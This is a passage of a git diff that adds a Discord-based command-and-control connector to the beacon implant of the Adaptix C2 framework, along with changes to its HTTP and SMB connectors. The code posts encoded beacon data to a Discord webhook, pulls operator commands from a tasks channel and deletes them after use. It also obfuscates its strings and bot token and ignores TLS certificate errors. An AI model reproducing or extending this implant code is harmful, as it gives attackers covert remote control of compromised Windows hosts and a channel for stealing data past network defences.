memset(tokenBuf, 0, sizeof(tokenBuf)); + } + + // Discord Bot API requires a DiscordBot User-Agent (403 with browser UA) + auto ua = OBF("DiscordBot (https://discord.com, 1.0)"); + this->hSession = this->functions->InternetOpenA(ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + if (!this->hSession) { + DBG("[-] Discord: InternetOpenA FAILED err=%lu", this->functions->GetLastError()); + return FALSE; + } + DBG("[+] Discord: hSession=0x%p", this->hSession); + + // Send initial beat via webhook + if (this->beatData && this->beatSize > 0) { + LPSTR encBeat = b64_encode(this->beatData, this->beatSize); + if (encBeat) { + // Build JSON: {"content":""} + auto jPre = OBF("{\"content\":\""); + auto jSuf = OBF("\"}"); + DWORD preLen = _slen(jPre); + DWORD encLen = _slen(encBeat); + DWORD sufLen = _slen(jSuf); + + ULONG jsonLen = preLen + encLen + sufLen; + BYTE* jsonBuf = (BYTE*) this->functions->LocalAlloc(LPTR, jsonLen + 1); + DWORD off = 0; + _scopy((CHAR*)jsonBuf + off, jPre, preLen); off += preLen; + _scopy((CHAR*)jsonBuf + off, encBeat, encLen); off += encLen; + _scopy((CHAR*)jsonBuf + off, jSuf, sufLen); off += sufLen; + jsonBuf[off] = 0; + + auto ctHeader = OBF("Content-Type: application/json\r\n"); + + BYTE* resp = NULL; + ULONG respLen = 0; + auto _mPost = OBF("POST"); + BOOL ok = this->HttpsRequest(_mPost, this->webhookPath, ctHeader, jsonBuf, jsonLen, &resp, &respLen); + DBG("[*] Discord: beat POST %s (%lu bytes json)", ok ? "OK" : "FAIL", jsonLen); + + if (resp) { + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + } + memset(jsonBuf, 0, jsonLen); + this->functions->LocalFree(jsonBuf); + memset(encBeat, 0, encLen); + this->functions->LocalFree(encBeat); + + this->beatSent = ok; + } + } + + return TRUE; +} + + +// ============================================================================ +// HttpsRequest — generic HTTPS request to discord.com +// Returns TRUE on 2xx, allocates outBuf with response body +// ============================================================================ + +BOOL ConnectorDiscord::HttpsRequest(const CHAR* method, const CHAR* path, + const CHAR* extraHeaders, BYTE* body, ULONG bodyLen, + BYTE** outBuf, ULONG* outLen) +{ + if (outBuf) *outBuf = NULL; + if (outLen) *outLen = 0; + + DWORD context = 0; + BOOL result = FALSE; + + HINTERNET hConnect = this->functions->InternetConnectA( + this->hSession, this->discordHost, INTERNET_DEFAULT_HTTPS_PORT, + NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)&context); + + if (!hConnect) { + DBG("[-] Discord: InternetConnectA FAILED err=%lu", this->functions->GetLastError()); + return FALSE; + } + + CHAR acceptTypes[] = { '*', '/', '*', 0 }; + LPCSTR rgpszAcceptTypes[] = { acceptTypes, 0 }; + DWORD flags = INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD + | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI + | INTERNET_FLAG_KEEP_CONNECTION; + + HINTERNET hRequest = this->functions->HttpOpenRequestA( + hConnect, method, path, 0, 0, rgpszAcceptTypes, flags, (DWORD_PTR)&context); + + if (!hRequest) { + DBG("[-] Discord: HttpOpenRequestA FAILED err=%lu", this->functions->GetLastError()); + this->functions->InternetCloseHandle(hConnect); + return FALSE; + } + + // Ignore SSL cert errors (self-signed proxies, debugging) + { + DWORD dwFlags = 0; + DWORD dwBuffer = sizeof(DWORD); + this->functions->InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBuffer); + dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID + | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION + | SECURITY_FLAG_IGNORE_WRONG_USAGE; + this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); + } + + // Build headers + DWORD hdrLen = 0; + CHAR* hdrBuf = NULL; + { + DWORD extraLen = extraHeaders ? _slen(extraHeaders) : 0; + hdrLen = extraLen; + hdrBuf = (CHAR*) this->functions->LocalAlloc(LPTR, hdrLen + 1); + DWORD off = 0; + if (extraLen) { + _scopy(hdrBuf + off, extraHeaders, extraLen); + off += extraLen; + } + hdrBuf[off] = 0; + hdrLen = off; + } + + BOOL sent = this->functions->HttpSendRequestA(hRequest, hdrBuf, hdrLen, (LPVOID)body, bodyLen); + DBG("[*] Discord: %s %s -> sent=%d", method, path, sent); + + if (hdrBuf) { + memset(hdrBuf, 0, hdrLen); + this->functions->LocalFree(hdrBuf); + } + + if (sent) { + // Check status code + CHAR statusCode[16]; + DWORD statusCodeLen = sizeof(statusCode); + this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, statusCode, &statusCodeLen, 0); + DBG("[*] Discord: response status=%s", statusCode); + + int code = 0; + for (int i = 0; statusCode[i] >= '0' && statusCode[i] <= '9'; i++) + code = code * 10 + (statusCode[i] - '0'); + + // Read response body (chunked or content-length) + ULONG totalRead = 0; + ULONG bufCapacity = 0x1000; // start with 4KB + BYTE* buffer = (BYTE*) this->functions->LocalAlloc(LPTR, bufCapacity); + DWORD available = 0; + + if (buffer) { + while (1) { + BOOL qr = this->functions->InternetQueryDataAvailable(hRequest, &available, 0, 0); + if (!qr || !available) + break; + + // Grow buffer if needed + if (totalRead + available > bufCapacity) { + bufCapacity = totalRead + available + 0x1000; + buffer = (BYTE*) this->functions->LocalReAlloc(buffer, bufCapacity, LMEM_MOVEABLE); + if (!buffer) break; + } + + DWORD readBytes = 0; + BOOL rr = this->functions->InternetReadFile(hRequest, buffer + totalRead, available, &readBytes); + if (!rr || !readBytes) + break; + totalRead += readBytes; + } + } + + if (totalRead > 0 && outBuf && outLen) { + *outBuf = buffer; + *outLen = totalRead; + } else if (buffer) { + this->functions->LocalFree(buffer); + } + + result = (code >= 200 && code < 300); + } + + this->functions->InternetCloseHandle(hRequest); + this->functions->InternetCloseHandle(hConnect); + + return result; +} + + +// ============================================================================ +// ExtractJsonString — find "key":"value" and return allocated copy of value +// Handles escaped quotes inside value. Caller must free result. +// ============================================================================ + +CHAR* ConnectorDiscord::ExtractJsonString(const CHAR* json, ULONG jsonLen, const CHAR* key, ULONG* outLen) +{ + *outLen = 0; + + // Build search pattern: "key":" + DWORD keyLen = _slen(key); + // Pattern: "":" + DWORD patLen = 1 + keyLen + 3; // quote + key + quote + colon + quote + CHAR pat[64]; + if (patLen >= sizeof(pat)) + return NULL; + + DWORD pi = 0; + pat[pi++] = '"'; + _scopy(pat + pi, key, keyLen); pi += keyLen; + pat[pi++] = '"'; + pat[pi++] = ':'; + pat[pi++] = '"'; + pat[pi] = 0; + + int pos = _sfind(json, jsonLen, pat, patLen); + if (pos < 0) { + // Try with space after colon: "key": " + pi = 0; + pat[pi++] = '"'; + _scopy(pat + pi, key, keyLen); pi += keyLen; + pat[pi++] = '"'; + pat[pi++] = ':'; + pat[pi++] = ' '; + pat[pi++] = '"'; + pat[pi] = 0; + patLen = pi; + pos = _sfind(json, jsonLen, pat, patLen); + if (pos < 0) + return NULL; + } + + // Value starts after the pattern + ULONG valStart = pos + patLen; + ULONG valEnd = valStart; + + // Find closing unescaped quote + while (valEnd < jsonLen) { + if (json[valEnd] == '"' && (valEnd == 0 || json[valEnd - 1] != '\\')) + break; + valEnd++; + } + + ULONG valLen = valEnd - valStart; + if (valLen == 0) + return NULL; + + CHAR* val = (CHAR*) this->functions->LocalAlloc(LPTR, valLen + 1); + _scopy(val, json + valStart, valLen); + val[valLen] = 0; + *outLen = valLen; + + return val; +} + + +// ============================================================================ +// DeleteMessage — DELETE /api/v10/channels/{id}/messages/{msg_id} +// ============================================================================ + +void ConnectorDiscord::DeleteMessage(const CHAR* messageId) +{ + if (!messageId || !this->profile.channel_tasks_id) + return; + + // Build path: /api/v10/channels//messages/ + auto pfx = OBF("/api/v10/channels/"); + auto mid = OBF("/messages/"); + DWORD pfxLen = _slen(pfx); + DWORD chanLen = _slen((CHAR*) this->profile.channel_tasks_id); + DWORD midLen = _slen(mid); + DWORD msgLen = _slen(messageId); + + ULONG pathLen = pfxLen + chanLen + midLen + msgLen; + CHAR* delPath = (CHAR*) this->functions->LocalAlloc(LPTR, pathLen + 1); + DWORD off = 0; + _scopy(delPath + off, pfx, pfxLen); off += pfxLen; + _scopy(delPath + off, (CHAR*) this->profile.channel_tasks_id, chanLen); off += chanLen; + _scopy(delPath + off, mid, midLen); off += midLen; + _scopy(delPath + off, messageId, msgLen); off += msgLen; + delPath[off] = 0; + + DBG("[*] Discord: DELETE %s", delPath); + + BYTE* resp = NULL; + ULONG respLen = 0; + auto _mDelete = OBF("DELETE"); + this->HttpsRequest(_mDelete, delPath, this->authHeader, NULL, 0, &resp, &respLen); + + if (resp) { + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + } + memset(delPath, 0, pathLen); + this->functions->LocalFree(delPath); +} + + +// ============================================================================ +// PollTasks — GET tasks channel, parse messages, base64-decode content, +// concatenate into recvData, optionally delete messages +// ============================================================================ + +void ConnectorDiscord::PollTasks() +{ + if (!this->tasksPath[0]) + return; + + BYTE* resp = NULL; + ULONG respLen = 0; + + auto _mGet = OBF("GET"); + BOOL ok = this->HttpsRequest(_mGet, this->tasksPath, this->authHeader, NULL, 0, &resp, &respLen); + if (!ok) { + // Log error response body for debugging + if (resp && respLen > 0) { + DBG("[-] Discord: PollTasks GET failed, body=%.*s", respLen > 200 ? 200 : (int)respLen, (CHAR*)resp); + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + } else { + DBG("[-] Discord: PollTasks GET failed or empty"); + if (resp) this->functions->LocalFree(resp); + } + return; + } + + DBG("[*] Discord: PollTasks got %lu bytes", respLen); + + // Discord returns a JSON array: [{"id":"...","content":"..."},...] + // We iterate finding "content":" and "id":" pairs + // Messages are newest-first, so we process in reverse order for correct ordering + + // First pass: count messages and collect their content+id + // Simple approach: find all "content":"..." values and "id":"..." values + + // Collect message IDs for cleanup + #define MAX_DISCORD_MSGS 10 + CHAR* msgIds[MAX_DISCORD_MSGS]; + CHAR* msgContents[MAX_DISCORD_MSGS]; + ULONG msgContentLens[MAX_DISCORD_MSGS]; + ULONG msgIdLens[MAX_DISCORD_MSGS]; + int msgCount = 0; + + memset(msgIds, 0, sizeof(msgIds)); + memset(msgContents, 0, sizeof(msgContents)); + memset(msgContentLens, 0, sizeof(msgContentLens)); + memset(msgIdLens, 0, sizeof(msgIdLens)); + + // Parse JSON array — find each object delimited by { } + const CHAR* jsonStr = (const CHAR*) resp; + ULONG searchPos = 0; + + while (searchPos < respLen && msgCount < MAX_DISCORD_MSGS) { + // Find next '{' + ULONG objStart = searchPos; + while (objStart < respLen && jsonStr[objStart] != '{') + objStart++; + if (objStart >= respLen) + break; + + // Find matching '}' (simple — no nested objects in Discord message content) + ULONG objEnd = objStart + 1; + int depth = 1; + while (objEnd < respLen && depth > 0) { + if (jsonStr[objEnd] == '{') depth++; + else if (jsonStr[objEnd] == '}') depth--; + objEnd++; + } + + ULONG objLen = objEnd - objStart; + + // Extract "id" and "content" from this object + ULONG idLen = 0, contentLen = 0; + CHAR* id = this->ExtractJsonString(jsonStr + objStart, objLen, "id", &idLen); + CHAR* content = this->ExtractJsonString(jsonStr + objStart, objLen, "content", &contentLen); + + if (content && contentLen > 0) { + msgIds[msgCount] = id; + msgIdLens[msgCount] = idLen; + msgContents[msgCount] = content; + msgContentLens[msgCount] = contentLen; + msgCount++; + } else { + if (id) { memset(id, 0, idLen); this->functions->LocalFree(id); } + if (content) { memset(content, 0, contentLen); this->functions->LocalFree(content); } + } + + searchPos = objEnd; + } + + if (msgCount == 0) { + DBG("[*] Discord: PollTasks no valid messages found"); + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + return; + } + + DBG("[*] Discord: PollTasks found %d messages", msgCount); + + // Process messages in reverse order (oldest first, Discord returns newest-first) + // Base64-decode each content and concatenate + BYTE* accumBuf = NULL; + ULONG accumLen = 0; + + for (int i = msgCount - 1; i >= 0; i--) { + if (!msgContents[i] || msgContentLens[i] == 0) + continue; + + // Validate base64 + int decSize = b64_decoded_size(msgContents[i]); + if (decSize <= 0) + continue; + + BYTE* decBuf = (BYTE*) this->functions->LocalAlloc(LPTR, decSize); + if (!b64_decode(msgContents[i], decBuf, decSize)) { + this->functions->LocalFree(decBuf); + continue; + } + + // Append to accumulator + if (!accumBuf) { + accumBuf = decBuf; + accumLen = decSize; + } else { + BYTE* newBuf = (BYTE*) this->functions->LocalAlloc(LPTR, accumLen + decSize); + memcpy(newBuf, accumBuf, accumLen); + memcpy(newBuf + accumLen, decBuf, decSize); + memset(accumBuf, 0, accumLen); + this->functions->LocalFree(accumBuf); + memset(decBuf, 0, decSize); + this->functions->LocalFree(decBuf); + accumBuf = newBuf; + accumLen += decSize; + } + } + + // Set received data + if (accumBuf && accumLen > 0) { + this->recvData = accumBuf; + this->recvSize = (int) accumLen; + DBG("[+] Discord: PollTasks decoded %lu bytes from %d messages", accumLen, msgCount); + } + + // Cleanup: delete messages if configured + if (this->profile.cleanup) { + for (int i = 0; i < msgCount; i++) { + if (msgIds[i] && msgIdLens[i] > 0) + this->DeleteMessage(msgIds[i]); + } + } + + // Free message strings + for (int i = 0; i < msgCount; i++) { + if (msgIds[i]) { + memset(msgIds[i], 0, msgIdLens[i]); + this->functions->LocalFree(msgIds[i]); + } + if (msgContents[i]) { + memset(msgContents[i], 0, msgContentLens[i]); + this->functions->LocalFree(msgContents[i]); + } + } + + // Free raw response + memset(resp, 0, respLen); + this->functions->LocalFree(resp); +} + + +// ============================================================================ +// SendData — POST data to webhook, then poll tasks channel +// +// Flow matches ConnectorHTTP::SendData(): +// 1. If data != NULL, base64-encode and POST via webhook +// 2. Poll tasks channel for inbound commands (GET + parse + decode) +// ============================================================================ + +void ConnectorDiscord::SendData(BYTE* data, ULONG data_size) +{ + this->recvSize = 0; + this->recvData = NULL; + + // 1. Send outbound data via webhook + // Format: base64(beat) + "\n" + base64(body) [or just base64(beat) if no body] + // The listener expects beat in every message for agent identification + { + LPSTR encBeat = b64_encode(this->beatData, this->beatSize); + LPSTR encData = (data && data_size > 0) ? b64_encode(data, data_size) : NULL; + + if (encBeat) { + DWORD beatLen = _slen(encBeat); + DWORD bodyLen = encData ? _slen(encData) : 0; + + // Discord message limit is 2000 chars. + // Each message contains: beat|body_chunk (beat repeated in every message) + // This way the listener can process each message independently. + DWORD maxBodyPerMsg = 1900 - beatLen - 1; // reserve space for beat + '|' + if (maxBodyPerMsg < 100) maxBodyPerMsg = 100; + + auto jPre = OBF("{\"content\":\""); + auto jSuf = OBF("\"}"); + auto ctHeader = OBF("Content-Type: application/json\r\n"); + DWORD preLen = _slen(jPre); + DWORD sufLen = _slen(jSuf); + + DWORD bodyOffset = 0; + BOOL firstChunk = TRUE; + + do { + // Build message content: beat|body_chunk (or just beat if no body) + DWORD chunkLen = 0; + if (bodyLen > 0 && bodyOffset < bodyLen) { + chunkLen = bodyLen - bodyOffset; + if (chunkLen > maxBodyPerMsg) chunkLen = maxBodyPerMsg; + } + + DWORD contentLen = beatLen + (chunkLen > 0 ? 1 + chunkLen : 0); + LPSTR content = (LPSTR) this->functions->LocalAlloc(LPTR, contentLen + 1); + DWORD coff = 0; + _scopy(content + coff, encBeat, beatLen); coff += beatLen; + if (chunkLen > 0) { + content[coff++] = '|'; + _scopy(content + coff, encData + bodyOffset, chunkLen); coff += chunkLen; + } + content[coff] = 0; + + // Build JSON + ULONG jsonLen = preLen + contentLen + sufLen; + BYTE* jsonBuf = (BYTE*) this->functions->LocalAlloc(LPTR, jsonLen + 1); + DWORD joff = 0; + _scopy((CHAR*)jsonBuf + joff, jPre, preLen); joff += preLen; + _scopy((CHAR*)jsonBuf + joff, content, contentLen); joff += contentLen; + _scopy((CHAR*)jsonBuf + joff, jSuf, sufLen); joff += sufLen; + jsonBuf[joff] = 0; + + BYTE* resp = NULL; + ULONG respLen = 0; + auto _mPost2 = OBF("POST"); + BOOL ok = this->HttpsRequest(_mPost2, this->webhookPath, ctHeader, jsonBuf, jsonLen, &resp, &respLen); + DBG("[*] Discord: POST chunk bodyOff=%lu chunkLen=%lu -> %s", bodyOffset, chunkLen, ok ? "OK" : "FAIL"); + + if (resp) { memset(resp, 0, respLen); this->functions->LocalFree(resp); } + memset(jsonBuf, 0, jsonLen); this->functions->LocalFree(jsonBuf); + memset(content, 0, contentLen); this->functions->LocalFree(content); + + bodyOffset += chunkLen; + + // Rate limit delay between chunks + if (bodyOffset < bodyLen) { + ApiWin->Sleep(500); + } + + firstChunk = FALSE; + } while (bodyLen > 0 && bodyOffset < bodyLen); + + memset(encBeat, 0, beatLen); this->functions->LocalFree(encBeat); + if (encData) { memset(encData, 0, bodyLen); this->functions->LocalFree(encData); } + } + } + + // 2. Wait for the listener to process our message and post tasks + // The listener polls every poll_interval seconds, so we wait at least that long + { + ULONG waitMs = (this->profile.poll_interval + 3) * 1000; // poll + 3s processing margin + if (waitMs < 4000) waitMs = 4000; + if (waitMs > 30000) waitMs = 30000; + DBG("[*] Discord: waiting %lu ms for listener to process...", waitMs); + ApiWin->Sleep(waitMs); + } + + // 3. Poll tasks channel for inbound commands + this->PollTasks(); +} + + +// ============================================================================ +// RecvData / RecvSize / RecvClear +// ============================================================================ + +BYTE* ConnectorDiscord::RecvData() +{ + return this->recvData; +} + +int ConnectorDiscord::RecvSize() +{ + return this->recvSize; +} + +void ConnectorDiscord::RecvClear() +{ + if (this->recvData && this->recvSize) { + memset(this->recvData, 0, this->recvSize); + this->functions->LocalFree(this->recvData); + this->recvData = NULL; + } + this->recvSize = 0; +} + + +// ============================================================================ +// CloseConnector — cleanup all resources +// ============================================================================ + +void ConnectorDiscord::CloseConnector() +{ + if (this->hSession) { + this->functions->InternetCloseHandle(this->hSession); + this->hSession = NULL; + } + + if (this->beatData) { + memset(this->beatData, 0, this->beatSize); + this->functions->LocalFree(this->beatData); + this->beatData = NULL; + this->beatSize = 0; + } + + if (this->tokenObf) { + memset(this->tokenObf, 0, this->tokenObfLen); + this->functions->LocalFree(this->tokenObf); + this->tokenObf = NULL; + this->tokenObfLen = 0; + } + + memset(this->discordHost, 0, sizeof(this->discordHost)); + memset(this->webhookPath, 0, sizeof(this->webhookPath)); + memset(this->tasksPath, 0, sizeof(this->tasksPath)); + memset(this->authHeader, 0, sizeof(this->authHeader)); + memset(this->tokenXorKey, 0, sizeof(this->tokenXorKey)); + + if (this->functions) { + memset(this->functions, 0, sizeof(DISCORDFUNC)); + } +} + + +// ============================================================================ +// Connector interface implementation +// ============================================================================ + +BOOL ConnectorDiscord::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) +{ + ProfileDiscord* prof = (ProfileDiscord*)profilePtr; + return this->SetConfig(*prof, beat, beatSize); +} + +void ConnectorDiscord::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) +{ + if (plainData && plainSize > 0) { + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); + } + else { + this->SendData(NULL, 0); + } + + if (this->recvSize > 0 && this->recvData) { + int dataSize = this->RecvSize(); + BYTE* dataPtr = this->RecvData(); + if (dataSize > 0 && dataPtr) { + int plainLen; + DecryptAES256GCM(dataPtr, dataSize, sessionKey, &plainLen); + } + } +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h new file mode 100644 index 000000000..744d94fe4 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h @@ -0,0 +1,76 @@ +#pragma once + +#include +#include +#include "AgentConfig.h" +#include "Connector.h" + +#define DECL_API(x) decltype(x) * x + +struct DISCORDFUNC { + DECL_API(LocalAlloc); + DECL_API(LocalReAlloc); + DECL_API(LocalFree); + DECL_API(LoadLibraryA); + DECL_API(GetLastError); + + DECL_API(InternetOpenA); + DECL_API(InternetConnectA); + DECL_API(HttpOpenRequestA); + DECL_API(HttpSendRequestA); + DECL_API(InternetSetOptionA); + DECL_API(InternetQueryOptionA); + DECL_API(HttpQueryInfoA); + DECL_API(InternetQueryDataAvailable); + DECL_API(InternetCloseHandle); + DECL_API(InternetReadFile); +}; + +class ConnectorDiscord : public Connector +{ + HINTERNET hSession; + + CHAR discordHost[128]; + CHAR webhookPath[512]; + CHAR tasksPath[256]; + CHAR authHeader[256]; + + BYTE tokenXorKey[32]; + BYTE* tokenObf; + ULONG tokenObfLen; + + BYTE* recvData; + int recvSize; + + ProfileDiscord profile; + BYTE* beatData; + ULONG beatSize; + BOOL beatSent; + + DISCORDFUNC* functions; + + BOOL HttpsRequest(const CHAR* method, const CHAR* path, const CHAR* extraHeaders, BYTE* body, ULONG bodyLen, BYTE** outBuf, ULONG* outLen); + void ParseWebhookUrl(const CHAR* url); + void XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen); + CHAR* ExtractJsonString(const CHAR* json, ULONG jsonLen, const CHAR* key, ULONG* outLen); + CHAR* ExtractJsonArray(const CHAR* json, ULONG jsonLen, ULONG* outLen); + void DeleteMessage(const CHAR* messageId); + void DeobfuscateToken(CHAR* out, ULONG outSize); + void PollTasks(); + + BOOL SetConfig(ProfileDiscord prof, BYTE* beat, ULONG bSize); + void SendData(BYTE* data, ULONG data_size); + +public: + ConnectorDiscord(); + + BOOL SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) override; + void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override; + BYTE* RecvData() override; + int RecvSize() override; + void RecvClear() override; + void CloseConnector() override; + + static void* operator new(size_t sz); + static void operator delete(void* p) noexcept; +}; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp index 1780230e2..7ed870682 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorHTTP.cpp @@ -439,8 +439,10 @@ void ConnectorHTTP::RecvClear() void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { if (plainData && plainSize > 0) { - EncryptRC4(plainData, plainSize, sessionKey, 16); - this->SendData(plainData, plainSize); + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); } else { this->SendData(NULL, 0); @@ -449,8 +451,10 @@ void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) if (this->recvSize > 0 && this->recvData) { int dataSize = this->RecvSize(); BYTE* dataPtr = this->RecvData(); - if (dataSize > 0 && dataPtr) - DecryptRC4(dataPtr, dataSize, sessionKey, 16); + if (dataSize > 0 && dataPtr) { + int plainLen; + DecryptAES256GCM(dataPtr, dataSize, sessionKey, &plainLen); + } } } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp index 5e901dcfe..fc9cba5b4 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorSMB.cpp @@ -4,7 +4,6 @@ #include "ProcLoader.h" #include "Crypt.h" #include "utils.h" -#include "Pivotter.h" void* ConnectorSMB::operator new(size_t sz) { @@ -33,26 +32,15 @@ ConnectorSMB::ConnectorSMB() this->functions->CreateNamedPipeA = ApiWin->CreateNamedPipeA; this->functions->DisconnectNamedPipe = ApiWin->DisconnectNamedPipe; - this->functions->CancelIo = ApiWin->CancelIo; - - this->functions->FlushFileBuffers = (decltype(FlushFileBuffers)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_FLUSHFILEBUFFERS); - this->functions->AllocateAndInitializeSid = (decltype(AllocateAndInitializeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_ALLOCATEANDINITIALIZESID); - this->functions->InitializeSecurityDescriptor = (decltype(InitializeSecurityDescriptor)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_INITIALIZESECURITYDESCRIPTOR); - this->functions->FreeSid = (decltype(FreeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_FREESID); - this->functions->SetEntriesInAclA = (decltype(SetEntriesInAclA)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETENTRIESINACLA); - this->functions->SetSecurityDescriptorDacl = (decltype(SetSecurityDescriptorDacl)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETSECURITYDESCRIPTORDACL); - - this->functions->CreateEventA = ApiWin->CreateEventA; - this->functions->SetEvent = ApiWin->SetEvent; - this->functions->ResetEvent = ApiWin->ResetEvent; - this->functions->WaitForMultipleObjects = ApiWin->WaitForMultipleObjects; - - this->functions->ConnectNamedPipe = (decltype(ConnectNamedPipe)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_CONNECTNAMEDPIPE); - this->functions->GetOverlappedResult = ApiWin->GetOverlappedResult; - - this->hTermEvent = this->functions->CreateEventA(NULL, TRUE, FALSE, NULL); - this->ovRead.hEvent = this->functions->CreateEventA(NULL, TRUE, FALSE, NULL); - this->hWriteEvent = this->functions->CreateEventA(NULL, TRUE, FALSE, NULL); + this->functions->PeekNamedPipe = ApiWin->PeekNamedPipe; + this->functions->ConnectNamedPipe = (decltype(ConnectNamedPipe)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_CONNECTNAMEDPIPE); + this->functions->FlushFileBuffers = (decltype(FlushFileBuffers)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_FLUSHFILEBUFFERS); + + this->functions->AllocateAndInitializeSid = (decltype(AllocateAndInitializeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_ALLOCATEANDINITIALIZESID); + this->functions->InitializeSecurityDescriptor = (decltype(InitializeSecurityDescriptor)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_INITIALIZESECURITYDESCRIPTOR); + this->functions->FreeSid = (decltype(FreeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_FREESID); + this->functions->SetEntriesInAclA = (decltype(SetEntriesInAclA)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETENTRIESINACLA); + this->functions->SetSecurityDescriptorDacl = (decltype(SetSecurityDescriptorDacl)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETSECURITYDESCRIPTORDACL); } BOOL ConnectorSMB::SetProfile(void* profilePtr, BYTE* beatData, ULONG beatDataSize) @@ -75,7 +63,7 @@ BOOL ConnectorSMB::SetProfile(void* profilePtr, BYTE* beatData, ULONG beatDataSi PACL pACL = nullptr; EXPLICIT_ACCESS pListOfExplicitEntries = { 0 }; - pListOfExplicitEntries.grfAccessPermissions = GENERIC_READ | GENERIC_WRITE; + pListOfExplicitEntries.grfAccessPermissions = GENERIC_READ | GENERIC_WRITE; // STANDARD_RIGHTS_ALL | SPECIFIC_RIGHTS_ALL; // pListOfExplicitEntries.grfAccessMode = SET_ACCESS; pListOfExplicitEntries.Trustee.TrusteeForm = TRUSTEE_IS_SID; pListOfExplicitEntries.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; @@ -89,7 +77,7 @@ BOOL ConnectorSMB::SetProfile(void* profilePtr, BYTE* beatData, ULONG beatDataSi return FALSE; SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), pSD, FALSE }; - this->hChannel = this->functions->CreateNamedPipeA((CHAR*) profile.pipename, FILE_FLAG_OVERLAPPED | PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, 0x100000, 0x100000, 0, &sa); + this->hChannel = this->functions->CreateNamedPipeA((CHAR*) profile.pipename, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, 0x100000, 0x100000, 0, &sa); if (this->hChannel == INVALID_HANDLE_VALUE) return FALSE; @@ -104,74 +92,58 @@ void ConnectorSMB::SendData(BYTE* data, ULONG data_size) { this->recvSize = 0; - if (!data || !data_size) - return; - - OVERLAPPED ovWrite = {}; - ovWrite.hEvent = this->hWriteEvent; - DWORD nWritten = 0; - - this->functions->ResetEvent(this->hWriteEvent); - if (!this->functions->WriteFile(this->hChannel, &data_size, 4, &nWritten, &ovWrite)) { - if (this->functions->GetLastError() == ERROR_IO_PENDING) - this->functions->GetOverlappedResult(this->hChannel, &ovWrite, &nWritten, TRUE); - else - return; - } - - DWORD index = 0; - while (index < data_size) { - DWORD chunkSize = data_size - index; - if (chunkSize > 0x2000) - chunkSize = 0x2000; - - ovWrite = {}; - ovWrite.hEvent = this->hWriteEvent; - nWritten = 0; - this->functions->ResetEvent(this->hWriteEvent); - - if (!this->functions->WriteFile(this->hChannel, data + index, chunkSize, &nWritten, &ovWrite)) { - if (this->functions->GetLastError() == ERROR_IO_PENDING) - this->functions->GetOverlappedResult(this->hChannel, &ovWrite, &nWritten, TRUE); - else - break; + if (data && data_size) { + DWORD NumberOfBytesWritten = 0; + if ( this->functions->WriteFile(this->hChannel, (LPVOID)&data_size, 4, &NumberOfBytesWritten, NULL) ) { + + DWORD index = 0; + DWORD size = 